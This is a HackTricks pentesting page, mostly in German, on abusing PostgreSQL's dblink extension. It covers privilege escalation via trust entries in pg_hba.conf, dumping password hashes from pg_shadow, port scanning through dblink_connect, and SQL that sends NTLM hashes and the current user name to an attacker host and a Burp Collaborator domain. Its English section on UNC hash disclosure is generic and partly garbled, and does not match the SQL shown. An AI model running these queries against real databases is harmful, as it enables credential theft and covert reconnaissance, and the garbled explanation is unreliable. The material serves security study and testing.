Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Weitere Informationen zu diesen Angriffen finden Sie im Originaldokument.

Seit PostgreSQL 9.1 ist die Installation zusätzlicher Module einfach. Registrierte Erweiterungen wie dblink können mit CREATE EXTENSION installiert werden:

CREATE EXTENSION dblink;

Sobald Sie dblink geladen haben, können Sie einige interessante Tricks ausführen:

Privilege Escalation

Die Datei pg_hba.conf könnte falsch konfiguriert sein und Verbindungen von localhost als beliebiger Benutzer ohne Kenntnis des Passworts zulassen. Diese Datei befindet sich normalerweise in /etc/postgresql/12/main/pg_hba.conf und eine fehlerhafte Konfiguration sieht wie folgt aus:

local    all    all    trust

Beachten Sie, dass diese Konfiguration häufig verwendet wird, um das Passwort eines DB-Benutzers zu ändern, wenn der Administrator es vergessen hat. Daher finden Sie es manchmal.

Beachten Sie auch, dass die Datei pg_hba.conf nur vom Benutzer und der Gruppe "postgres" lesbar und nur vom Benutzer "postgres" beschreibbar ist.

Dieser Fall ist nützlich, wenn Sie bereits eine Shell im Opfer haben, da er es Ihnen ermöglicht, eine Verbindung zur PostgreSQL-Datenbank herzustellen.

Eine weitere mögliche Fehlkonfiguration besteht darin, dass etwas wie folgt aussieht:

host    all     all     127.0.0.1/32    trust

Da es jedem auf dem Localhost erlaubt, sich als beliebiger Benutzer mit der Datenbank zu verbinden. In diesem Fall und wenn die dblink-Funktion funktioniert, könnten Sie Berechtigungen eskalieren, indem Sie sich über eine bereits bestehende Verbindung mit der Datenbank verbinden und auf Daten zugreifen, auf die Sie normalerweise keinen Zugriff haben sollten:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Port Scanning

Durch Missbrauch von dblink_connect könnten Sie auch offene Ports suchen. Wenn diese Funktion nicht funktioniert, sollten Sie versuchen, dblink_connect_u() zu verwenden, da die Dokumentation besagt, dass dblink_connect_u() identisch mit dblink_connect() ist, außer dass es Nicht-Superusern erlaubt, sich mit beliebigen Authentifizierungsmethoden zu verbinden.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Beachten Sie, dass Sie vorher möglicherweise Folgendes ausführen müssen, um dblink_connect oder dblink_connect_u verwenden zu können:

CREATE extension dblink;

UNC-Pfad - Offenlegung des NTLM-Hashes

In certain scenarios, it is possible to disclose the NTLM hash of a user by using a UNC (Universal Naming Convention) path. This technique can be used for privilege escalation or lateral movement within a network.

How it works

  1. Identify a target system that is vulnerable to UNC path disclosure. This vulnerability typically exists in older versions of Windows operating systems.

  2. Craft a UNC path that includes the target system's IP address or hostname, along with a share name. For example: \\192.168.1.100\share.

  3. Send a request to the target system using the crafted UNC path.

  4. If the target system is vulnerable, it will respond with an NTLM authentication challenge.

  5. Capture the NTLM challenge response, which contains the NTLM hash of the user's password.

Mitigations

To mitigate the risk of UNC path NTLM hash disclosure, consider the following measures:

  • Keep systems up to date with the latest security patches and updates.

  • Disable the use of NTLM authentication in favor of more secure authentication protocols, such as Kerberos.

  • Implement network segmentation to limit the exposure of vulnerable systems.

  • Regularly monitor network traffic for suspicious activity and unauthorized access attempts.

By following these mitigations, you can reduce the risk of NTLM hash disclosure through UNC paths and enhance the overall security of your network.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated